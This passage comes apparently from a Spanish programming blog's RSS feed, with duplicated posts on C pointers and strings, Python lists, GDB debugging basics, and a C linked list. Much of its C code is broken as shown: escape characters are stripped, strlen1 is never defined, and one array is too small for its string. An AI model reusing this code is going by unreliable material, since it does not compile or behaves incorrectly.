{4,3,6,0,-4,6,3,11,1,4};

int *p;
p = &numeros[0];

Se traduciría en lo siguiente:
array
Por tanto el valor de pint sería 4. Pero mucha atención
ahora. ¿Qué ocurre si incrementamos el valor de p?

p = p + 1;
o su equivalente:
*(p++);

En ese caso lo que estamos incrementando en la posición de
memoria a la que apunta pint, no el valor al que apunta.
Por tanto lo que pasaría es esto:
array

¿Curioso no? esa forma de acceder a arrays se usa muy a menudo
al tratar con arrays de caracteres, o dicho de otra forma
al trabajar con cadenas, o dicho de otra manera al trabajar con
strings, o dicho de otra manera al trabajar con palabras.


Cadenas


Una cadena o string, no es sino un array de caracteres, con la
particularidad de que se puede declarar así:
char saludo[4] = "Hola";
char despedida[] = "Adios,
hasta más ver";

char adios[] = "No nos veremos
mas ";


Pero hay que tener en cuenta una cosa muy importante. Al inicializar
una cadena, al final de la misma se añade un caracter especial
que
marca el final del la cadena: ''
Gracias a ese caracter se facilita el trabajo con cadenas, empezando
por el cálculo de su longitud.

Atención, hay que tener mucho cuidado con esto:
char frase[] = "Vamonos ya";
char *otra = "Vamos que nos vamos";

Por que NO son lo mismo, frase[] es un array y otra no es más
que un puntero. Mientras que el contenido de frase se puede modificar, los cambios en la cadena a la que apunta otra pueden
provocar resultados inesperados.


De todas formas, frase[] y *otra son compatibles a la hora de pasarse
como parámetros de funciones; y además, los arrays de
caracteres o cadenas al pasarse como parámetro se pasan por referencia. Por
tanto si se modifica una cadena dentro de una función los cambios permanecerán al volver.

Esta sería una posible implementación de la
función strlen, disponible ya en la librería standar.
Dada una cadena, devuelve su longitud:


#include <stdio.h>

main ()
{
char ejemplo1[] = "Vamos a ver";
char *ejemplo2 = "Vamos a ver";

printf("Longitudes: %d y %d ", strlen1(ejemplo1), strlen1(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(ejemplo1), strlen2(ejemplo2));
printf("Longitudes: %d y %d ", strlen2(""), strlen2("sdd"));
}

int strlen(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i] != '')
{
i++;
}

return i;
}


Podriamos hacer un bucle más elegante, sin ninguna
operación dentro. Cuidado! no hay que olvidar el ";", y es muy
importante incrementar
usando i++, es decir, primero tomamos leemos el valor, y luego se
incrementa.

int strlen2(char *cadena)
{
int i = 0;

/* Mientras no sea el final */
while ( cadena [i++] != '')
;

return (i-1);
}


Otra forma interesante de conocer las distintas formas de recorrer una
cadena son estas implementaciones de la controvertida función
strcpy. Esta función
copia una cadena en otra caracter a caracter y esta podría ser
una de sus implementaciones:

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{
int i = 0;

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (a[i] = b[i]) != '')
i++;
}


Otra implementación de strcpy podría ser accediendo a los
arrays como si fueran punteros, así los podemos incrementar de
forma directa!!!

/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación y a la vez comprobamos si ha llegado al final */
while ( (*a = *b) != '')
{
a++;
b++;
}
}


Y otra manera más abreviada aún...


/* Copia el contenido de b en a */
int strcpy (char *a, char *b)
{

/* Hacemos la asignación e incrementamos */
while ( (*a++ = *b++) != '' )
;
}


Incluso podríamos quitar la operación != ''. Prueba y
verás. De todas formas JAMAS utilices esta función en un
programa, si te das cuenta
estas funciones no se toman la molestia de comprobar las longitudes de
las cadenas que copias, y esto puede dar lugar a que revienten tu
código
y puedan ejecutar comandos arbitrarios allá donde funcione el
programa.

Arrays multidimensionales

tipo nombre[filas][columnas];

Los arrays se pueden complicar tanto como haga falta:
int matriz[3][5] = { {3,5,2,4,2} , {0,3,6,2,3} , {2,4,6,3,2} };

Pero ten cuidado, si vas a pasar un array de dos dimensiones como
parámetro de una función, al declarar la función
es obligatorio especificar el tamáno concreto de columnas.


Argumentos de linea de comandos

Cuando ejecutas un programa puedes pasarle argumento o
parámetros desde la linea de comandos, o desde msdos, o desde el
bash de linux.
Para recoger esos valores puedes usar unos parámetros que se
indican en la función principal, la función main:

main (int argc, char *argv[])
{
}

  • argc = es un variable que contiene el número de
    parámetros que se han pasado
  • argv[] = es un array de cadenas que contiene los argumentos en
    si, donde argv[0] es el nombre del programa


Con esta función puedes comprobar el funcionamiento de este
mecanismo:

#include <stdio.h>

main (int argc, char *argv[])
{
int i;

printf("Me has pasado %d argumentos ", argc);
printf("Y el primero es %s ", argv[0]);

/* Vamos a exigir que se pasen al menos 3 argumentos */
if (argc < 4)
{
printf("Error!, debes pasarme 3 argumentos!! ");
return;
}

for (i = 0; i < argc; i++)
printf("Argumento: %d = %s ", i, argv[i]);

}


Un ejemplo de ejecución podría ser:

C:>args primero 666 tercero
Me has pasado 4 argumentos
El nombre del programa es args
Argumento: 0 = args
Argumento: 1 = primero
Argumento: 2 = 666
Argumento: 3 = tercero

C:>



Opcionalmente puedes meter otro argumento, *envp[], para variables de
entorno.

]]>
http://www.pello.info/blog/punteros-y-arrays-en-c
Listas en python http://www.pello.info/blog/listas-en-python http://www.pello.info/blog/listas-en-python 1239178820 pello http://www.pello.info/blog/listas-en-python Listas en python Las listas son como arrays, permiten toda clase de tipos, anidación, etc.. el manejo es peculiar. Este es un ejemplo muy simple.

#!/usr/bin/python
# coding=utf-8

# programa mínimo de python que introduce las listas
# La definición de coding nos sirve para poder tildes y demás,
# es necesario al menos para los comentarios

# Pello Xabier Altadill Izura - http://www.pello.info


# Vamos a definir una listas
numeros=[15,33,42,69,666]
heroes=["Ricewind","Haplo","Boromir","Gaunt"]
mezcla=["Frodo",11,"Merrin",-6 ,0]

#Se empieza contando desde 0, como debe ser.
print "Heroe de mundodisco: " , heroes[0]
print "Otro heroe: " , heroes[-2]

# Podemos sacar todo o parte
print mezcla , " y " , numeros[:]

print "[2:4]->", mezcla[2:4] , " y [:3]->", numeros[:3]

# Longitud con len
print "Longitud de mezcla: ", len(mezcla)

# Listas con sublistas
valores=[2,[4,7,1],[4,5,6],8]

print "Vamos a ver: " , valores[3], " y dentro:" , valores[2][1]

## Operaciones

# Añadir elementos
print "Inicial ->",heroes

heroes[3:1] = ["Gandalf","Gimli"]
print "[3:1] ->", heroes

heroes[1:1] = ["Trancos","Sam","Pippin"]
print "[1:1] ->",heroes

# El remplazo [desdedonde:cuantos]
heroes[2:1] = ["Legolas"]
print "Reemplazar [2:1] ->",heroes

# Eliminación de elementos
heroes[2:4] = []
print "Eliminar [2:4] ->",heroes

# Probando la asignación múltiple
x,y,z = 0,0,0

Y este sería el output:

pello@localhost:~/python$ ./listas.py
Heroe de mundodisco:  Ricewind
Otro heroe:  Boromir
['Frodo', 11, 'Merrin', -6, 0]  y  [15, 33, 42, 69, 666]
[2:4]-> ['Merrin', -6]  y [:3]-> [15, 33, 42]
Longitud de mezcla:  5
Vamos a ver:  8  y dentro: 5
Inicial -> ['Ricewind', 'Haplo', 'Boromir', 'Gaunt']
[3:1] -> ['Ricewind', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
[1:1] -> ['Ricewind', 'Trancos', 'Sam', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
Reemplazar [2:1] -> ['Ricewind', 'Trancos', 'Legolas', 'Sam', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
Eliminar [2:4] -> ['Ricewind', 'Trancos', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
pello@localhost:~/python$

]]>
Listas en python Las listas son como arrays, permiten toda clase de tipos, anidación, etc.. el manejo es peculiar. Este es un ejemplo muy simple.

#!/usr/bin/python
# coding=utf-8

# programa mínimo de python que introduce las listas
# La definición de coding nos sirve para poder tildes y demás,
# es necesario al menos para los comentarios

# Pello Xabier Altadill Izura - http://www.pello.info


# Vamos a definir una listas
numeros=[15,33,42,69,666]
heroes=["Ricewind","Haplo","Boromir","Gaunt"]
mezcla=["Frodo",11,"Merrin",-6 ,0]

#Se empieza contando desde 0, como debe ser.
print "Heroe de mundodisco: " , heroes[0]
print "Otro heroe: " , heroes[-2]

# Podemos sacar todo o parte
print mezcla , " y " , numeros[:]

print "[2:4]->", mezcla[2:4] , " y [:3]->", numeros[:3]

# Longitud con len
print "Longitud de mezcla: ", len(mezcla)

# Listas con sublistas
valores=[2,[4,7,1],[4,5,6],8]

print "Vamos a ver: " , valores[3], " y dentro:" , valores[2][1]

## Operaciones

# Añadir elementos
print "Inicial ->",heroes

heroes[3:1] = ["Gandalf","Gimli"]
print "[3:1] ->", heroes

heroes[1:1] = ["Trancos","Sam","Pippin"]
print "[1:1] ->",heroes

# El remplazo [desdedonde:cuantos]
heroes[2:1] = ["Legolas"]
print "Reemplazar [2:1] ->",heroes

# Eliminación de elementos
heroes[2:4] = []
print "Eliminar [2:4] ->",heroes

# Probando la asignación múltiple
x,y,z = 0,0,0

Y este sería el output:

pello@localhost:~/python$ ./listas.py
Heroe de mundodisco:  Ricewind
Otro heroe:  Boromir
['Frodo', 11, 'Merrin', -6, 0]  y  [15, 33, 42, 69, 666]
[2:4]-> ['Merrin', -6]  y [:3]-> [15, 33, 42]
Longitud de mezcla:  5
Vamos a ver:  8  y dentro: 5
Inicial -> ['Ricewind', 'Haplo', 'Boromir', 'Gaunt']
[3:1] -> ['Ricewind', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
[1:1] -> ['Ricewind', 'Trancos', 'Sam', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
Reemplazar [2:1] -> ['Ricewind', 'Trancos', 'Legolas', 'Sam', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
Eliminar [2:4] -> ['Ricewind', 'Trancos', 'Pippin', 'Haplo', 'Boromir', 'Gandalf', 'Gimli', 'Gaunt']
pello@localhost:~/python$

]]>
http://www.pello.info/blog/listas-en-python
ABC del GDB (y II) http://www.pello.info/blog/abc-del-gdb-y-2 http://www.pello.info/blog/abc-del-gdb-y-2 1239103466 pello http://www.pello.info/blog/abc-del-gdb-y-2 Conociendo el depurador o debugger

Vamos a revisar algunas ordenes útiles del depurador gdb. Supongamos que tenemos este programa:

void saludar (char *q)
{
char saludo[10] = “Hola “;
char quien[15] = ” don “;

printf(”%s, %s %s
”, saludo, quien, q);
}

int main(int argc, char * argv[])
{
int entero;
entero = 0;
saludar(argv[1]);
entero = 1;
printf(”Ok, valor del entero %d
”, entero);

return 0;
}

Para poder depurarlo mejor, debemos compilarlo con el flag ggdb:

gcc -ggdb -o ejemplo ejemplo.c

Ahora ya podemos iniciar el depurador gdb:

gdb
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details. This GDB was configured as “i386-linux”.
(gdb)

Podemos invocarlo sin más y para cargar el programa que queremos depurar haríamos algo así:

(gdb) file ejemplo
Reading symbols from /home/pello/b0f/dia2/ejemplo…done.
Using host libthread_db library “/lib/tls/libthread_db.so.1″.
(gdb)

Y si no podríamos invocar el debugger directamente con el programa que queremos depurar:

gdb ejemplo
…
(gdb)

list Bien. Con el comando list o l podemos echar un ojo al código fuente. Esto es posible gracias a que está compilado con -ggdb Se le pueden añadir números para indicar las lineas que queremos ver: list 1 : para ver a partir de la 1ª linea list 3,6 : para ver de la linea 3 a la 6

(gdb) list
3 char saludo[10] = “Hola “;
4 char quien[15] = ” don “;
5
6 printf(”%s, %s %s
”, saludo, quien, q);
7 }
8
9 int main(int argc, char * argv[])
10 {
11 int entero;
12 entero = 0;

(gdb) list 1,5
1 void saludar (char *q)
2 {
3 char saludo[10] = “Hola “;
4 char quien[15] = ” don “;
5
(gdb)

disassemble Esta opción desensambla el binario y muestra las instrucciones de ensamblador que componen el programa. Se le indica el nombre de función, y puede ser la función main o principal

(gdb) disas main
Dump of assembler code for function main:
0×0804840c : push %ebp
0×0804840d : mov %esp,%ebp
0×0804840f : sub $0×18,%esp
0×08048412 : and $0xfffffff0,%esp
0×08048415 : mov $0×0,%eax
0×0804841a : sub %eax,%esp
0×0804841c : movl $0×0,0xfffffffc(%ebp)
0×08048423 : mov 0xc(%ebp),%eax
0×08048426 : add $0×4,%eax
0×08048429 : mov (%eax),%eax
0×0804842b : mov %eax,(%esp)
0×0804842e : call 0×80483a4 
0×08048433 : movl $0×1,0xfffffffc(%ebp)
0×0804843a : mov 0xfffffffc(%ebp),%eax
0×0804843d : mov %eax,0×4(%esp)
0×08048441 : movl $0×8048588,(%esp)
0×08048448 : call 0×80482b8 <_init+56>
0×0804844d : mov $0×0,%eax
0×08048452 : leave
0×08048453 : ret
End of assembler dump.
(gdb)

En esta especie de batiburrillo se puede aprender a distinguir algunas cosas: los valores más a la izquierda son las direcciones de memoria en la que se encuentran las instrucciones primero en hexadecimal y luego en una notación relativa al inicio de main. Si desensamblamos la función saludar:

(gdb) disas saludar
Dump of assembler code for function saludar:
0×080483a4 : push %ebp
0×080483a5 : mov %esp,%ebp
0×080483a7 : push %edi
0×080483a8 : sub $0×34,%esp
0×080483ab : mov 0×8048564,%eax
0×080483b0 : mov %eax,0xffffffe8(%ebp)
0×080483b3 : movzwl 0×8048568,%eax
0×080483ba : mov %ax,0xffffffec(%ebp)
0×080483be : movl $0×0,0xffffffee(%ebp)

run Para ejecutar el programa usamos la instrucción run o r. Se le pueden pasar parámetros como si estuvieramos en la linea de comandos.

(gdb) run Juan
Starting program: /home/64kbytes/b0f/dia2/ejemplo
Hola , don Juan
Ok, valor del entero 1

Program exited normally.
(gdb)

Pero claro, puede que nos interese ejecutar paso a paso. Para eso establecemos un punto de ruptura o break point
break Con break o b establecemos dónde debe detenerse la ejecución para que se siga paso a paso. Podemos establecerlo por nombre de función o por linea: break main : para depurarlo desde el principio break 10 : para depurar desde la linea 10

(gdb) break main
Breakpoint 2 at 0×804841c: file ejemplo.c, line 12.
(gdb)

A partir de ahí podemos iniciar la ejecución paso a paso con distintas instrucciones:
step Mediante step o s ejecutamos el programa linea a linea. En caso de pasarlo un parámetro numérico repetiría el código de la linea ese número de veces. stepi o si e similar pero en ese caso solo se ejecuta una instrucción al margen de lo que haya en toda la linea. Vamos a ejecutar paso a paso:

(gdb) break main
Note: breakpoints 2, 3 and 4 also set at pc 0×804841c.
Breakpoint 5 at 0×804841c: file ejemplo.c, line 12.
(gdb) run
Starting program: /home/pello/b0f/dia2/ejemplo Juan

Breakpoint 2, main (argc=2, argv=0xbffff9b4) at ejemplo.c:12
12 entero = 0;
(gdb) s
13 saludar(argv[1]);
(gdb) s

Breakpoint 1, saludar (q=0×2 
) at ejemplo.c:2 2 { (gdb) s 3 char saludo[10] = “Hola “; (gdb)

…y seguiría. Existen otras instrucciones similares a step.
next Next y nexti tratan las llamadas a funciones como una instrucción¿ más sin meterse a depurar dentro de ellas. kill Podemos interrumpir la ejecución con la instrucción kill o k.

(gdb) k
Kill the program being debugged? (y or n) y
(gdb)

info registers Este comando te da información sobre el estado de los registros. Muy útil en la depuración y en los overflows ya que son valores muy indicativos:

(gdb) info registers
eax 0×0 0
ecx 0×4003de6d 1073995373
edx 0×2 2
ebx 0×40156ff4 1075146740
esp 0xbffff920 0xbffff920
ebp 0xbffff938 0xbffff938
esi 0×0 0
edi 0×40015cc0 1073831104
eip 0×804841c 0×804841c
eflags 0×282 642
cs 0×73 115
ss 0×7b 123
ds 0×7b 123
es 0×7b 123
fs 0×0 0
gs 0×33 51
(gdb)

info frame Con este comando podemos ver el contenido del frame actual de la pila. Muy útil para ver los vlaores del EIP por ejemplo:

(gdb) info frame
Stack level 0, frame at 0xbffff950:
eip = 0×804841e in main (pila.c:34); saved eip 0×4003dea8
source language c.
Arglist at 0xbffff948, args: argc=2, argv=0xbffff9c4
Locals at 0xbffff948, Previous frame’s sp is 0xbffff950
Saved registers:
ebp at 0xbffff948, eip at 0xbffff94c
(gdb) n

info stack Con info stack podemos ver las llamadas acumuladas en la pila.

(gdb) info stack
#0 0×080483f0 in cambiar (valor=4) at pila.c:21
#1 0×08048436 in main (argc=2, argv=0xbffff9c4) at pila.c:34
(gdb)

x: examinando la memoria Para saber qué narices se guarda en memoria nada mejor que el comando x con sus muchas opciones. El formato general del comando es: x/[formato] dirección Donde el [formato] puede ser, además de un número, o de octal, x de hexadecimal, d de decimal e u de decimal sin signo, y otros como t de binario, f de float, a para direcciones, i para instrucciones, c caracteres and s para cadenas. Y además se le añade el tamaño: b para bytes, h para medio word, w para word, g para 8 bytes. Una combinación útil para examinar la memoria en bytes

(gdb) x/bx main
0×80483e6 : 0×55
(gdb) [enter]
0×80483e7 : 0×89
(gdb) [enter]
0×80483e8 : 0xe5
(gdb)

Ahí vemos cada instrucción del programa: 0×55, 0×89, 0xe5 en hexadecimal. Por ejemplo, para ver la parte de memoria a la que apunta el $esp

(gdb) x/100 $esp
0xbffffc50: “fþÿ¿@_25@”
0xbffffc59: “”
0xbffffc5a: “”
0xbffffc5b: “”
0xbffffc5c: “@_25@@e01@”
0xbffffc65: “”
0xbffffc66: “”
0xbffffc67: “”
…

print Para sacar los valores concretos de variables y registros podemos usar la función print o p, indicándole lo que queremos mostrar. Por ejemplo el valor de un registro:

(gdb) print $ebx
$1 = 1075146740
(gdb)

O el valor de una variable

(gdb) print saludo
$3 = “Hola 00000000″
(gdb)

Y de momento es suficiente para poder empezar

]]>
Conociendo el depurador o debugger

Vamos a revisar algunas ordenes útiles del depurador gdb. Supongamos que tenemos este programa:

void saludar (char *q)
{
char saludo[10] = “Hola “;
char quien[15] = ” don “;

printf(”%s, %s %s
”, saludo, quien, q);
}

int main(int argc, char * argv[])
{
int entero;
entero = 0;
saludar(argv[1]);
entero = 1;
printf(”Ok, valor del entero %d
”, entero);

return 0;
}

Para poder depurarlo mejor, debemos compilarlo con el flag ggdb:

gcc -ggdb -o ejemplo ejemplo.c

Ahora ya podemos iniciar el depurador gdb:

gdb
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details. This GDB was configured as “i386-linux”.
(gdb)

Podemos invocarlo sin más y para cargar el programa que queremos depurar haríamos algo así:

(gdb) file ejemplo
Reading symbols from /home/pello/b0f/dia2/ejemplo…done.
Using host libthread_db library “/lib/tls/libthread_db.so.1″.
(gdb)

Y si no podríamos invocar el debugger directamente con el programa que queremos depurar:

gdb ejemplo
…
(gdb)

list Bien. Con el comando list o l podemos echar un ojo al código fuente. Esto es posible gracias a que está compilado con -ggdb Se le pueden añadir números para indicar las lineas que queremos ver: list 1 : para ver a partir de la 1ª linea list 3,6 : para ver de la linea 3 a la 6

(gdb) list
3 char saludo[10] = “Hola “;
4 char quien[15] = ” don “;
5
6 printf(”%s, %s %s
”, saludo, quien, q);
7 }
8
9 int main(int argc, char * argv[])
10 {
11 int entero;
12 entero = 0;

(gdb) list 1,5
1 void saludar (char *q)
2 {
3 char saludo[10] = “Hola “;
4 char quien[15] = ” don “;
5
(gdb)

disassemble Esta opción desensambla el binario y muestra las instrucciones de ensamblador que componen el programa. Se le indica el nombre de función, y puede ser la función main o principal

(gdb) disas main
Dump of assembler code for function main:
0×0804840c : push %ebp
0×0804840d : mov %esp,%ebp
0×0804840f : sub $0×18,%esp
0×08048412 : and $0xfffffff0,%esp
0×08048415 : mov $0×0,%eax
0×0804841a : sub %eax,%esp
0×0804841c : movl $0×0,0xfffffffc(%ebp)
0×08048423 : mov 0xc(%ebp),%eax
0×08048426 : add $0×4,%eax
0×08048429 : mov (%eax),%eax
0×0804842b : mov %eax,(%esp)
0×0804842e : call 0×80483a4 
0×08048433 : movl $0×1,0xfffffffc(%ebp)
0×0804843a : mov 0xfffffffc(%ebp),%eax
0×0804843d : mov %eax,0×4(%esp)
0×08048441 : movl $0×8048588,(%esp)
0×08048448 : call 0×80482b8 <_init+56>
0×0804844d : mov $0×0,%eax
0×08048452 : leave
0×08048453 : ret
End of assembler dump.
(gdb)

En esta especie de batiburrillo se puede aprender a distinguir algunas cosas: los valores más a la izquierda son las direcciones de memoria en la que se encuentran las instrucciones primero en hexadecimal y luego en una notación relativa al inicio de main. Si desensamblamos la función saludar:

(gdb) disas saludar
Dump of assembler code for function saludar:
0×080483a4 : push %ebp
0×080483a5 : mov %esp,%ebp
0×080483a7 : push %edi
0×080483a8 : sub $0×34,%esp
0×080483ab : mov 0×8048564,%eax
0×080483b0 : mov %eax,0xffffffe8(%ebp)
0×080483b3 : movzwl 0×8048568,%eax
0×080483ba : mov %ax,0xffffffec(%ebp)
0×080483be : movl $0×0,0xffffffee(%ebp)

run Para ejecutar el programa usamos la instrucción run o r. Se le pueden pasar parámetros como si estuvieramos en la linea de comandos.

(gdb) run Juan
Starting program: /home/64kbytes/b0f/dia2/ejemplo
Hola , don Juan
Ok, valor del entero 1

Program exited normally.
(gdb)

Pero claro, puede que nos interese ejecutar paso a paso. Para eso establecemos un punto de ruptura o break point
break Con break o b establecemos dónde debe detenerse la ejecución para que se siga paso a paso. Podemos establecerlo por nombre de función o por linea: break main : para depurarlo desde el principio break 10 : para depurar desde la linea 10

(gdb) break main
Breakpoint 2 at 0×804841c: file ejemplo.c, line 12.
(gdb)

A partir de ahí podemos iniciar la ejecución paso a paso con distintas instrucciones:
step Mediante step o s ejecutamos el programa linea a linea. En caso de pasarlo un parámetro numérico repetiría el código de la linea ese número de veces. stepi o si e similar pero en ese caso solo se ejecuta una instrucción al margen de lo que haya en toda la linea. Vamos a ejecutar paso a paso:

(gdb) break main
Note: breakpoints 2, 3 and 4 also set at pc 0×804841c.
Breakpoint 5 at 0×804841c: file ejemplo.c, line 12.
(gdb) run
Starting program: /home/pello/b0f/dia2/ejemplo Juan

Breakpoint 2, main (argc=2, argv=0xbffff9b4) at ejemplo.c:12
12 entero = 0;
(gdb) s
13 saludar(argv[1]);
(gdb) s

Breakpoint 1, saludar (q=0×2 
) at ejemplo.c:2 2 { (gdb) s 3 char saludo[10] = “Hola “; (gdb)

…y seguiría. Existen otras instrucciones similares a step.
next Next y nexti tratan las llamadas a funciones como una instrucción¿ más sin meterse a depurar dentro de ellas. kill Podemos interrumpir la ejecución con la instrucción kill o k.

(gdb) k
Kill the program being debugged? (y or n) y
(gdb)

info registers Este comando te da información sobre el estado de los registros. Muy útil en la depuración y en los overflows ya que son valores muy indicativos:

(gdb) info registers
eax 0×0 0
ecx 0×4003de6d 1073995373
edx 0×2 2
ebx 0×40156ff4 1075146740
esp 0xbffff920 0xbffff920
ebp 0xbffff938 0xbffff938
esi 0×0 0
edi 0×40015cc0 1073831104
eip 0×804841c 0×804841c
eflags 0×282 642
cs 0×73 115
ss 0×7b 123
ds 0×7b 123
es 0×7b 123
fs 0×0 0
gs 0×33 51
(gdb)

info frame Con este comando podemos ver el contenido del frame actual de la pila. Muy útil para ver los vlaores del EIP por ejemplo:

(gdb) info frame
Stack level 0, frame at 0xbffff950:
eip = 0×804841e in main (pila.c:34); saved eip 0×4003dea8
source language c.
Arglist at 0xbffff948, args: argc=2, argv=0xbffff9c4
Locals at 0xbffff948, Previous frame’s sp is 0xbffff950
Saved registers:
ebp at 0xbffff948, eip at 0xbffff94c
(gdb) n

info stack Con info stack podemos ver las llamadas acumuladas en la pila.

(gdb) info stack
#0 0×080483f0 in cambiar (valor=4) at pila.c:21
#1 0×08048436 in main (argc=2, argv=0xbffff9c4) at pila.c:34
(gdb)

x: examinando la memoria Para saber qué narices se guarda en memoria nada mejor que el comando x con sus muchas opciones. El formato general del comando es: x/[formato] dirección Donde el [formato] puede ser, además de un número, o de octal, x de hexadecimal, d de decimal e u de decimal sin signo, y otros como t de binario, f de float, a para direcciones, i para instrucciones, c caracteres and s para cadenas. Y además se le añade el tamaño: b para bytes, h para medio word, w para word, g para 8 bytes. Una combinación útil para examinar la memoria en bytes

(gdb) x/bx main
0×80483e6 : 0×55
(gdb) [enter]
0×80483e7 : 0×89
(gdb) [enter]
0×80483e8 : 0xe5
(gdb)

Ahí vemos cada instrucción del programa: 0×55, 0×89, 0xe5 en hexadecimal. Por ejemplo, para ver la parte de memoria a la que apunta el $esp

(gdb) x/100 $esp
0xbffffc50: “fþÿ¿@_25@”
0xbffffc59: “”
0xbffffc5a: “”
0xbffffc5b: “”
0xbffffc5c: “@_25@@e01@”
0xbffffc65: “”
0xbffffc66: “”
0xbffffc67: “”
…

print Para sacar los valores concretos de variables y registros podemos usar la función print o p, indicándole lo que queremos mostrar. Por ejemplo el valor de un registro:

(gdb) print $ebx
$1 = 1075146740
(gdb)

O el valor de una variable

(gdb) print saludo
$3 = “Hola 00000000″
(gdb)

Y de momento es suficiente para poder empezar

]]>
http://www.pello.info/blog/abc-del-gdb-y-2
John goes to BT http://www.pello.info/blog/john-goes-to-bt http://www.pello.info/blog/john-goes-to-bt 1238949910 pello http://www.pello.info/blog/john-goes-to-bt Ofertars de trabajo para Lisp.

 

Job offer for Lisp, c0ders

(Pincha para ampliar)

Muchas veces la imagen de empresa que se oculta tras una oferta de trabajo no se asemeja a lo que se trata de vender...

]]>
Ofertars de trabajo para Lisp.

 

Job offer for Lisp, c0ders

(Pincha para ampliar)

Muchas veces la imagen de empresa que se oculta tras una oferta de trabajo no se asemeja a lo que se trata de vender...

]]>
http://www.pello.info/blog/john-goes-to-bt
Listas enlazadas http://www.pello.info/blog/listas-enlazadas http://www.pello.info/blog/listas-enlazadas 1238757350 pello http://www.pello.info/blog/listas-enlazadas Ejemplo de listas enlazadas usando punteros.

 

/**
* lista.c
* Muestra el uso de estructuras
* Compilacion: gcc -o lista lista.c
* curso de C
*/

#include <stdio.h>
#include <stdlib.h>

/* Declaramos la estructura */
struct lista {
 char *nombre;
 struct lista *siguiente;
};

/* Funciones para manejar lista */
void print_lista (struct lista *l);
void add_lista (struct lista *l, char * nombre);



main ()
{
 struct lista miLista;
 printf("Vamos a usar la lista. 
");
 miLista.nombre = "Primero";
 miLista.siguiente = NULL;

 print_lista(&miLista);

 add_lista(&miLista,"Segundo");
 print_lista(&miLista);

 add_lista(&miLista,"Tercero");
 print_lista(&miLista); 
}

/* Implementación de print_lista */
void print_lista (struct lista *l)
{


 printf("
LISTA=[");

 /* Recorre la lista */
 while (l != NULL)
 {
 printf(" %s,",l->nombre);
 l = l->siguiente;
 }

 printf("]
");
}

/* Implmentacion add_lista */
void add_lista (struct lista *l, char * nombre)
{
 struct lista *tmp;

 /* Creamos el nuevo espacio*/
 tmp = (struct lista *) malloc(sizeof(struct lista));
 tmp->nombre = nombre;
 tmp->siguiente = NULL;

 /* Nos vamos al final */
 while (l->siguiente != NULL)
 l = l->siguiente;

 l->siguiente = tmp;
}

]]>
Ejemplo de listas enlazadas usando punteros.

 

/**
* lista.c
* Muestra el uso de estructuras
* Compilacion: gcc -o lista lista.c
* curso de C
*/

#include <stdio.h>
#include <stdlib.h>

/* Declaramos la estructura */
struct lista {
 char *nombre;
 struct lista *siguiente;
};

/* Funciones para manejar lista */
void print_lista (struct lista *l);
void add_lista (struct lista *l, char * nombre);



main ()
{
 struct lista miLista;
 printf("Vamos a usar la lista. 
");
 miLista.nombre = "Primero";
 miLista.siguiente = NULL;

 print_lista(&miLista);

 add_lista(&miLista,"Segundo");
 print_lista(&miLista);

 add_lista(&miLista,"Tercero");
 print_lista(&miLista); 
}

/* Implementación de print_lista */
void print_lista (struct lista *l)
{


 printf("
LISTA=[");

 /* Recorre la lista */
 while (l != NULL)
 {
 printf(" %s,",l->nombre);
 l = l->siguiente;
 }

 printf("]
");
}

/* Implmentacion add_lista */
void add_lista (struct lista *l, char * nombre)
{
 struct lista *tmp;

 /* Creamos el nuevo espacio*/
 tmp = (struct lista *) malloc(sizeof(struct lista));
 tmp->nombre = nombre;
 tmp->siguiente = NULL;

 /* Nos vamos al final */
 while (l->siguiente != NULL)
 l = l->siguiente;

 l->siguiente = tmp;
}

]]>
http://www.pello.info/blog/listas-enlazadas